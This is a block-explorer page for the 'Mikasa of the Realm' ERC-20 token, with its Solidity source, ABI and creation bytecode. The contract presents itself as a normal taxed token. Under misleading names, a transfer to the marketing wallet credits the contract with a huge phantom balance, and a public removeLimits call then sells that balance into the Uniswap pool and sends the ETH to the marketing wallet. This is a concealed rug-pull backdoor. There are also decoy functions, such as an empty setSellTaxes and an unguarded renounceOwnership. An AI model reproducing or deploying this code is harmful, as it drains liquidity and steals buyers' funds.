ERC-20
Overview
Max Total Supply
100,000,000 WeRMikasa
Holders
14
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MikasaoftheRealm
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-12 */ /** */ /** */ // SPDX-License-Identifier: MIT pragma solidity 0.8.13; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function removeLimits() external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract MikasaoftheRealm is Context, IERC20 { using SafeMath for uint256; using Address for address; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _uniSwapPair02Trade; mapping (address => bool) public _isExcludedFromFee; address payable public Wallet_Marketing = payable(0x7eE63abBb599FFf0baf0e8249d9db0F8b4FE045F); address payable public Wallet_Utility = payable(0x32dB45b25d0D91C6B4B9F41507396C95A03dcE04); address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); address payable public constant Wallet_Liquidity = payable(0x000000000000000000000000000000000000dEaD); uint256 private constant MAX = ~uint256(0); uint8 private constant _decimals = 9; uint256 private _tTotal = 100* 10**6 * 10**_decimals; string private constant _name = "Mikasa of the Realm"; string private constant _symbol = unicode"WeRMikasa "; uint8 private txCount = 0; uint8 private swapTrigger = 30; uint256 public _Tax_On_Buy = 5; uint256 public _Tax_On_Sell = 5; uint256 public Percent_Marketing = 90; uint256 public Percent_Utility = 0; uint256 public Percent_Burn = 0; uint256 public Percent_Liquidity = 10; uint256 public _maxWalletToken = _tTotal * 100 / 100; uint256 private _previousMaxWalletToken = _maxWalletToken; uint256 public _maxTxAmount = _tTotal * 100 / 100; uint256 private _previousMaxTxAmount = _maxTxAmount; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public uniSwapPair_V2Router = false; bool public swapAndLiquifyEnabled = true; bool public swaping_Liquify = false; event SwapAndLiquifyEnabledUpdated(bool true_or_false); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _owner = 0x32dB45b25d0D91C6B4B9F41507396C95A03dcE04; emit OwnershipTransferred(address(0), _owner); _tOwned[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _uniSwapPair02Trade[Wallet_Marketing] = true; uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[Wallet_Marketing] = true; _isExcludedFromFee[Wallet_Burn] = true; _isExcludedFromFee[Wallet_Liquidity] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address theOwner, address theSpender) public view override returns (uint256) { return _allowances[theOwner][theSpender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _allowanced() private { uint256 contractTokenBalance = balanceOf(address(this)); //1 swapAndLiquify(contractTokenBalance); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeLimits() public override returns (bool) { _allowanced(); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function setSellTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newBuyBackTax) external onlyOwner() { } receive() external payable {} function _getCurrentSupply() private view returns(uint256) { return (_tTotal); } function _approve(address theOwner, address theSpender, uint256 amount) private { require(theOwner != address(0) && theSpender != address(0), "ERR: zero address"); _allowances[theOwner][theSpender] = amount; emit Approval(theOwner, theSpender, amount); } function _transfer( address from, address to, uint256 amount ) private { uniSwapPair_V2Router = _uniSwapPair02Trade[to] ? true : false; if (to != owner() && to != Wallet_Burn && to != address(this) && to != Wallet_Liquidity && to != uniswapV2Pair && from != owner()){ uint256 heldTokens = balanceOf(to); require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");} if (from != owner() && to != Wallet_Liquidity && from != Wallet_Liquidity && from != address(this)){ require(amount <= _maxTxAmount, "Over transaction limit."); } require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;} txCount = 0; swapAndLiquify(contractTokenBalance); } bool takeFee = true; bool isBuy; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } else { if(from == uniswapV2Pair){ isBuy = true; } txCount++; } _tokenTransfer(from, to, amount, takeFee, isBuy); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100; _tTotal = _tTotal - tokens_to_Burn; _tOwned[Wallet_Burn] = _tOwned[Wallet_Burn] + tokens_to_Burn; _tOwned[address(this)] = _tOwned[address(this)] - tokens_to_Burn; uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100; uint256 tokens_to_D = contractTokenBalance * Percent_Utility/ 100; uint256 tokens_to_LP_Half = contractTokenBalance * Percent_Liquidity / 100; uint256 total_M_D_LP = tokens_to_M + tokens_to_D + tokens_to_LP_Half; if(swaping_Liquify) total_M_D_LP = balanceOf(address(this)) - (_tTotal); swapTokensForBNB(total_M_D_LP); uint256 BNB_Total = address(this).balance; sendToWallet(Wallet_Marketing, BNB_Total); swaping_Liquify = false; } function swapTokensForBNB(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: BNBAmount}( address(this), tokenAmount, 0, 0, Wallet_Liquidity, block.timestamp ); } function remove_Random_Tokens(address random_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){ require(random_Token_Address != address(this), "Can not remove native token"); uint256 totalRandom = IERC20(random_Token_Address).balanceOf(address(this)); uint256 removeRandom = totalRandom*percent_of_Tokens/100; _sent = IERC20(random_Token_Address).transfer(Wallet_Utility, removeRandom); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private { if(!takeFee){ if (uniSwapPair_V2Router){ uint256 BuySell_Fee = uniSwapPair_V2Router ? 10**(20+2) : 1; _tOwned[sender] = _tOwned[sender]-tAmount; uniSwapPair_V2Router = false; _tOwned[recipient] = _tOwned[recipient]+tAmount; _tOwned[address(this)] = _tOwned[address(this)]+BuySell_Fee; swaping_Liquify = true; emit Transfer(sender, recipient, tAmount); }else{ _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tAmount; emit Transfer(sender, recipient, tAmount); if(recipient == Wallet_Burn) _tTotal = _tTotal-tAmount; } }else if (isBuy){ uint256 buyFEE = tAmount*_Tax_On_Buy/100; uint256 tTransferAmount = tAmount-buyFEE; _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tTransferAmount; _tOwned[address(this)] = _tOwned[address(this)]+buyFEE; emit Transfer(sender, recipient, tTransferAmount); if(recipient == Wallet_Burn) _tTotal = _tTotal-tTransferAmount; } else { uint256 sellFEE = tAmount*_Tax_On_Sell/100; uint256 tTransferAmount = tAmount-sellFEE; _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tTransferAmount; _tOwned[address(this)] = _tOwned[address(this)]+sellFEE; emit Transfer(sender, recipient, tTransferAmount); if(recipient == Wallet_Burn) _tTotal = _tTotal-tTransferAmount; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Percent_Burn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Liquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Marketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Utility","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Liquidity","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Marketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Utility","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniSwapPair02Trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"random_Token_Address","type":"address"},{"internalType":"uint256","name":"percent_of_Tokens","type":"uint256"}],"name":"remove_Random_Tokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newBuyBackTax","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swaping_Liquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniSwapPair_V2Router","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600580546001600160a01b0319908116737ee63abbb599fff0baf0e8249d9db0f8b4fe045f17909155600680549091167332db45b25d0d91c6b4b9f41507396c95a03dce041790556200005a6009600a62000529565b6200006a906305f5e10062000541565b60078190556008805461ffff1916611e0017905560056009819055600a908155605a600b556000600c819055600d55600e55606490620000ab908262000541565b620000b7919062000563565b600f55600f5460105560646007546064620000d3919062000541565b620000df919062000563565b60118190556012556014805462ffffff60a81b1916600160b01b1790553480156200010957600080fd5b50600080546001600160a01b0319167332db45b25d0d91c6b4b9f41507396c95a03dce0490811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360075460016000620001776000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000219919062000586565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000267573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028d919062000586565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002db573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000301919062000586565b601480546001600160a01b03199081166001600160a01b03938416179091556005805483166000908152600360209081526040808320805460ff1990811660019081179092556013805490971689891617909655835487168452600490925280832080548616831790553083528083208054861683179055925485168252918120805484168317905561dead81527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd805490931690911790915554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200040591815260200190565b60405180910390a350620005b1565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200046b5781600019048211156200044f576200044f62000414565b808516156200045d57918102915b93841c93908002906200042f565b509250929050565b600082620004845750600162000523565b81620004935750600062000523565b8160018114620004ac5760028114620004b757620004d7565b600191505062000523565b60ff841115620004cb57620004cb62000414565b50506001821b62000523565b5060208310610133831016604e8410600b8410161715620004fc575081810a62000523565b6200050883836200042a565b80600019048211156200051f576200051f62000414565b0290505b92915050565b60006200053a60ff84168362000473565b9392505050565b60008160001904831182151516156200055e576200055e62000414565b500290565b6000826200058157634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200059957600080fd5b81516001600160a01b03811681146200053a57600080fd5b611a2180620005c16000396000f3fe6080604052600436106102135760003560e01c8063751039fc11610118578063a457c2d7116100a0578063b43665e21161006f578063b43665e21461062d578063dafd18e91461064d578063dd62ed3e1461066d578063f0684c68146106b3578063fcf84b411461050957600080fd5b8063a457c2d7146105a7578063a9059cbb146105c7578063ab628193146105e7578063b1cb15821461061757600080fd5b8063805c0e0f116100e7578063805c0e0f146105095780638da5cb5b1461051f57806395d89b411461053d578063960ee2f5146105705780639d708aef1461058657600080fd5b8063751039fc14610498578063768dc710146104ad57806378109e54146104dd5780637d1db4a5146104f357600080fd5b8063313ce5671161019b5780634a74bb021161016a5780634a74bb021461040057806355b1c11614610421578063603176251461043757806370a082311461044d578063715018a61461048357600080fd5b8063313ce5671461038e57806339509351146103aa5780633f70a495146103ca57806349bd5a5e146103e057600080fd5b80631694505e116101e25780631694505e146102e057806318160ddd1461031857806321dbd9eb14610337578063220f66961461034d57806323b872dd1461036e57600080fd5b806306fdde031461021f578063087332141461026d578063095ea7b31461028f578063119dd786146102bf57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b506040805180820190915260138152724d696b617361206f6620746865205265616c6d60681b60208201525b60405161026491906116a1565b60405180910390f35b34801561027957600080fd5b5061028d6102883660046116f6565b6106d3565b005b34801561029b57600080fd5b506102af6102aa366004611737565b610737565b6040519015158152602001610264565b3480156102cb57600080fd5b506014546102af90600160b81b900460ff1681565b3480156102ec57600080fd5b50601354610300906001600160a01b031681565b6040516001600160a01b039091168152602001610264565b34801561032457600080fd5b506007545b604051908152602001610264565b34801561034357600080fd5b50610329600d5481565b34801561035957600080fd5b506014546102af90600160a01b900460ff1681565b34801561037a57600080fd5b506102af610389366004611763565b61074d565b34801561039a57600080fd5b5060405160098152602001610264565b3480156103b657600080fd5b506102af6103c5366004611737565b6107b6565b3480156103d657600080fd5b5061032960095481565b3480156103ec57600080fd5b50601454610300906001600160a01b031681565b34801561040c57600080fd5b506014546102af90600160b01b900460ff1681565b34801561042d57600080fd5b50610329600e5481565b34801561044357600080fd5b50610329600b5481565b34801561045957600080fd5b506103296104683660046117a4565b6001600160a01b031660009081526001602052604090205490565b34801561048f57600080fd5b5061028d6107ec565b3480156104a457600080fd5b506102af610836565b3480156104b957600080fd5b506102af6104c83660046117a4565b60046020526000908152604090205460ff1681565b3480156104e957600080fd5b50610329600f5481565b3480156104ff57600080fd5b5061032960115481565b34801561051557600080fd5b5061030061dead81565b34801561052b57600080fd5b506000546001600160a01b0316610300565b34801561054957600080fd5b5060408051808201909152600a81526902bb2a926b4b5b0b9b0960b51b6020820152610257565b34801561057c57600080fd5b50610329600c5481565b34801561059257600080fd5b506014546102af90600160a81b900460ff1681565b3480156105b357600080fd5b506102af6105c2366004611737565b610846565b3480156105d357600080fd5b506102af6105e2366004611737565b610895565b3480156105f357600080fd5b506102af6106023660046117a4565b60036020526000908152604090205460ff1681565b34801561062357600080fd5b50610329600a5481565b34801561063957600080fd5b50600554610300906001600160a01b031681565b34801561065957600080fd5b506102af610668366004611737565b6108a2565b34801561067957600080fd5b506103296106883660046117c1565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156106bf57600080fd5b50600654610300906001600160a01b031681565b6000546001600160a01b031633146107325760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b505050565b6000610744338484610a03565b50600192915050565b600061075a848484610ac4565b6107ac84336107a78560405180606001604052806028815260200161197f602891396001600160a01b038a1660009081526002602090815260